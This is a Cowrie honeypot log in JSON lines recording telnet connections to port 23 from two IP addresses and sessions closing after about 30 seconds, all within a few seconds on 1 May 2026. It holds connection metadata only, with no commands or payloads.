{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46748,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e9751f8ee53","protocol":"telnet","message":"New connection: 208.115.219.122:46748 (10.17.0.5:23) [session: 3e9751f8ee53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.224492Z"}
{"eventid":"cowrie.session.closed","duration":31.24483609199524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.314804Z","src_ip":"208.115.200.90","session":"1f52630d02a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46760,"dst_ip":"10.17.0.5","dst_port":23,"session":"461ac1da36ab","protocol":"telnet","message":"New connection: 208.115.219.122:46760 (10.17.0.5:23) [session: 461ac1da36ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.320606Z"}
{"eventid":"cowrie.session.closed","duration":30.8473060131073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.344029Z","src_ip":"208.115.200.90","session":"aee8af6e3661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11441969871521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.349286Z","src_ip":"208.115.219.122","session":"bd59ee93985d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58678,"dst_ip":"10.17.0.5","dst_port":23,"session":"c96eed9a466d","protocol":"telnet","message":"New connection: 208.115.200.90:58678 (10.17.0.5:23) [session: c96eed9a466d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.411074Z"}
{"eventid":"cowrie.session.closed","duration":30.98797106742859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.481160Z","src_ip":"208.115.200.90","session":"03f267304081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58698,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d8f9a9a110d","protocol":"telnet","message":"New connection: 208.115.200.90:58698 (10.17.0.5:23) [session: 1d8f9a9a110d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.488419Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58710,"dst_ip":"10.17.0.5","dst_port":23,"session":"09142078b4dd","protocol":"telnet","message":"New connection: 208.115.200.90:58710 (10.17.0.5:23) [session: 09142078b4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:37.629664Z"}
{"eventid":"cowrie.session.closed","duration":30.98346710205078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.033365Z","src_ip":"208.115.219.122","session":"921b529dc802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.210322618484497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.054213Z","src_ip":"208.115.219.122","session":"11c189bf62af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956241130828857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.062556Z","src_ip":"208.115.200.90","session":"6299568821f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861586332321167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.067711Z","src_ip":"208.115.200.90","session":"94eff9d1d2a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89768695831299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.135823Z","src_ip":"208.115.200.90","session":"462daedd5080","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccdea68f7cce","protocol":"telnet","message":"New connection: 208.115.219.122:46798 (10.17.0.5:23) [session: ccdea68f7cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.141270Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46812,"dst_ip":"10.17.0.5","dst_port":23,"session":"b064536df162","protocol":"telnet","message":"New connection: 208.115.219.122:46812 (10.17.0.5:23) [session: b064536df162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.260492Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58790,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d112872d088","protocol":"telnet","message":"New connection: 208.115.200.90:58790 (10.17.0.5:23) [session: 5d112872d088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.280820Z"}
{"eventid":"cowrie.session.closed","duration":30.92542004585266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.301948Z","src_ip":"208.115.200.90","session":"96f942d11ae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836872339248657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.366799Z","src_ip":"208.115.200.90","session":"586d0360d403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58808,"dst_ip":"10.17.0.5","dst_port":23,"session":"7daa73dc2db8","protocol":"telnet","message":"New connection: 208.115.200.90:58808 (10.17.0.5:23) [session: 7daa73dc2db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.374000Z"}
{"eventid":"cowrie.session.closed","duration":31.034229040145874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.397722Z","src_ip":"208.115.200.90","session":"6ca99496f4f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58810,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db4f273b1d9","protocol":"telnet","message":"New connection: 208.115.200.90:58810 (10.17.0.5:23) [session: 3db4f273b1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.432793Z"}
{"eventid":"cowrie.session.closed","duration":31.064668893814087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.561229Z","src_ip":"208.115.200.90","session":"3f46a93b5cd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58706,"dst_ip":"10.17.0.5","dst_port":23,"session":"e82df8a0709a","protocol":"telnet","message":"New connection: 208.115.200.90:58706 (10.17.0.5:23) [session: e82df8a0709a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.601850Z"}
{"eventid":"cowrie.session.closed","duration":30.92818832397461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.634609Z","src_ip":"208.115.219.122","session":"a5c56ee47b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58882,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0813b923cf4","protocol":"telnet","message":"New connection: 208.115.200.90:58882 (10.17.0.5:23) [session: d0813b923cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:38.809976Z"}
{"eventid":"cowrie.session.closed","duration":30.838669300079346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.016703Z","src_ip":"208.115.219.122","session":"8efc84114430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63072180747986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.040390Z","src_ip":"208.115.219.122","session":"20414fa6e237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46840,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9765a23a912","protocol":"telnet","message":"New connection: 208.115.219.122:46840 (10.17.0.5:23) [session: b9765a23a912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.107951Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58956,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb86ae73a276","protocol":"telnet","message":"New connection: 208.115.200.90:58956 (10.17.0.5:23) [session: fb86ae73a276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.167264Z"}
{"eventid":"cowrie.session.closed","duration":31.13434624671936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.217836Z","src_ip":"208.115.200.90","session":"e4de8101f9ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04405403137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.227595Z","src_ip":"208.115.200.90","session":"9e73a46aa025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58976,"dst_ip":"10.17.0.5","dst_port":23,"session":"06002346a21d","protocol":"telnet","message":"New connection: 208.115.200.90:58976 (10.17.0.5:23) [session: 06002346a21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.316910Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59006,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd9c9b45db0","protocol":"telnet","message":"New connection: 208.115.200.90:59006 (10.17.0.5:23) [session: 6dd9c9b45db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.376428Z"}
{"eventid":"cowrie.session.closed","duration":30.939437866210938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.411129Z","src_ip":"208.115.200.90","session":"625531e9ce8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377413034439087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.581747Z","src_ip":"208.115.200.90","session":"1c1ef7e4ceb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46744,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2cd1a38a9ff","protocol":"telnet","message":"New connection: 208.115.219.122:46744 (10.17.0.5:23) [session: e2cd1a38a9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:39.690985Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59082,"dst_ip":"10.17.0.5","dst_port":23,"session":"43dd9f50efe7","protocol":"telnet","message":"New connection: 208.115.200.90:59082 (10.17.0.5:23) [session: 43dd9f50efe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.071992Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59096,"dst_ip":"10.17.0.5","dst_port":23,"session":"73abe1d595de","protocol":"telnet","message":"New connection: 208.115.200.90:59096 (10.17.0.5:23) [session: 73abe1d595de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.138465Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59110,"dst_ip":"10.17.0.5","dst_port":23,"session":"d90a35f43792","protocol":"telnet","message":"New connection: 208.115.200.90:59110 (10.17.0.5:23) [session: d90a35f43792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.180095Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46932,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3770f008f7f","protocol":"telnet","message":"New connection: 208.115.219.122:46932 (10.17.0.5:23) [session: f3770f008f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.229373Z"}
{"eventid":"cowrie.session.closed","duration":30.8107647895813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.316789Z","src_ip":"208.115.200.90","session":"9158980e8a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938173055648804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.401308Z","src_ip":"208.115.200.90","session":"5744ce4f2cfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59164,"dst_ip":"10.17.0.5","dst_port":23,"session":"f433f1683936","protocol":"telnet","message":"New connection: 208.115.200.90:59164 (10.17.0.5:23) [session: f433f1683936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.507021Z"}
{"eventid":"cowrie.session.closed","duration":30.59005069732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.570019Z","src_ip":"208.115.200.90","session":"265bcd7c4f83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60214066505432,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.643197Z","src_ip":"208.115.219.122","session":"2c31d0f3e8b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.341819047927856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.649219Z","src_ip":"208.115.200.90","session":"a5dcda5e1482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59266,"dst_ip":"10.17.0.5","dst_port":23,"session":"22eb9c39b699","protocol":"telnet","message":"New connection: 208.115.200.90:59266 (10.17.0.5:23) [session: 22eb9c39b699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.652554Z"}
{"eventid":"cowrie.session.closed","duration":31.45501708984375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.767135Z","src_ip":"208.115.200.90","session":"a90ec6633090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141607522964478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:40.927277Z","src_ip":"208.115.219.122","session":"e661b799af67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984790086746216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.013698Z","src_ip":"208.115.219.122","session":"ebc4388d1799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47026,"dst_ip":"10.17.0.5","dst_port":23,"session":"57bea89c8c42","protocol":"telnet","message":"New connection: 208.115.219.122:47026 (10.17.0.5:23) [session: 57bea89c8c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.037337Z"}
{"eventid":"cowrie.session.closed","duration":30.675606966018677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.042098Z","src_ip":"208.115.200.90","session":"a02d6bf440d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59332,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd9b44cf7f6","protocol":"telnet","message":"New connection: 208.115.200.90:59332 (10.17.0.5:23) [session: 8bd9b44cf7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.057102Z"}
{"eventid":"cowrie.session.closed","duration":31.022507190704346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.075270Z","src_ip":"208.115.219.122","session":"cc12f68f58b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59336,"dst_ip":"10.17.0.5","dst_port":23,"session":"673ab0356ca7","protocol":"telnet","message":"New connection: 208.115.200.90:59336 (10.17.0.5:23) [session: 673ab0356ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.096915Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59346,"dst_ip":"10.17.0.5","dst_port":23,"session":"4886ae4921cf","protocol":"telnet","message":"New connection: 208.115.200.90:59346 (10.17.0.5:23) [session: 4886ae4921cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.201848Z"}
{"eventid":"cowrie.session.closed","duration":31.168494939804077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.225107Z","src_ip":"208.115.200.90","session":"d3b83e91ce43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979283094406128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.263703Z","src_ip":"208.115.200.90","session":"3d1a457be59f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59408,"dst_ip":"10.17.0.5","dst_port":23,"session":"e494c5d2e7df","protocol":"telnet","message":"New connection: 208.115.200.90:59408 (10.17.0.5:23) [session: e494c5d2e7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.360180Z"}
{"eventid":"cowrie.session.closed","duration":31.069926738739014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.495833Z","src_ip":"208.115.200.90","session":"35bdccd99185","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59516,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb84c9653669","protocol":"telnet","message":"New connection: 208.115.200.90:59516 (10.17.0.5:23) [session: bb84c9653669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:41.689781Z"}
{"eventid":"cowrie.session.closed","duration":30.853559017181396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.039944Z","src_ip":"208.115.219.122","session":"ea7eb88f3676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003288507461548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.061111Z","src_ip":"208.115.219.122","session":"46476fd1e742","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59616,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce3b2add2a6b","protocol":"telnet","message":"New connection: 208.115.200.90:59616 (10.17.0.5:23) [session: ce3b2add2a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.066979Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47210,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2866591230c","protocol":"telnet","message":"New connection: 208.115.219.122:47210 (10.17.0.5:23) [session: c2866591230c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.163378Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59624,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f6ef046b7a","protocol":"telnet","message":"New connection: 208.115.200.90:59624 (10.17.0.5:23) [session: c6f6ef046b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.176760Z"}
{"eventid":"cowrie.session.closed","duration":30.246044397354126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.225714Z","src_ip":"208.115.200.90","session":"10386ac922d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59638,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b137f2ee49","protocol":"telnet","message":"New connection: 208.115.200.90:59638 (10.17.0.5:23) [session: a7b137f2ee49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.298722Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59642,"dst_ip":"10.17.0.5","dst_port":23,"session":"022b59f504a8","protocol":"telnet","message":"New connection: 208.115.200.90:59642 (10.17.0.5:23) [session: 022b59f504a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.322704Z"}
{"eventid":"cowrie.session.closed","duration":30.981087684631348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.333150Z","src_ip":"208.115.200.90","session":"b00fd888ab8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21009659767151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.504374Z","src_ip":"208.115.200.90","session":"e4e567214be3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59694,"dst_ip":"10.17.0.5","dst_port":23,"session":"45baa49935e8","protocol":"telnet","message":"New connection: 208.115.200.90:59694 (10.17.0.5:23) [session: 45baa49935e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.554596Z"}
{"eventid":"cowrie.session.closed","duration":31.21960997581482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.705832Z","src_ip":"208.115.200.90","session":"f77e70ee31cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59696,"dst_ip":"10.17.0.5","dst_port":23,"session":"9148a4f1b531","protocol":"telnet","message":"New connection: 208.115.200.90:59696 (10.17.0.5:23) [session: 9148a4f1b531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:42.766828Z"}
{"eventid":"cowrie.session.closed","duration":30.988226652145386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.014695Z","src_ip":"208.115.219.122","session":"11a6d78e2b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5231671333313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.037063Z","src_ip":"208.115.219.122","session":"c5927d8960c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94900369644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.187367Z","src_ip":"208.115.200.90","session":"b7fb63a69a04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8499813079834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.211087Z","src_ip":"208.115.200.90","session":"e8c87c557ec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47290,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce2ce724dc6","protocol":"telnet","message":"New connection: 208.115.219.122:47290 (10.17.0.5:23) [session: 6ce2ce724dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.262141Z"}
{"eventid":"cowrie.session.closed","duration":31.230291604995728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.336002Z","src_ip":"208.115.200.90","session":"2f4cf18cb019","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a0f54db2513","protocol":"telnet","message":"New connection: 208.115.200.90:59746 (10.17.0.5:23) [session: 8a0f54db2513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.394097Z"}
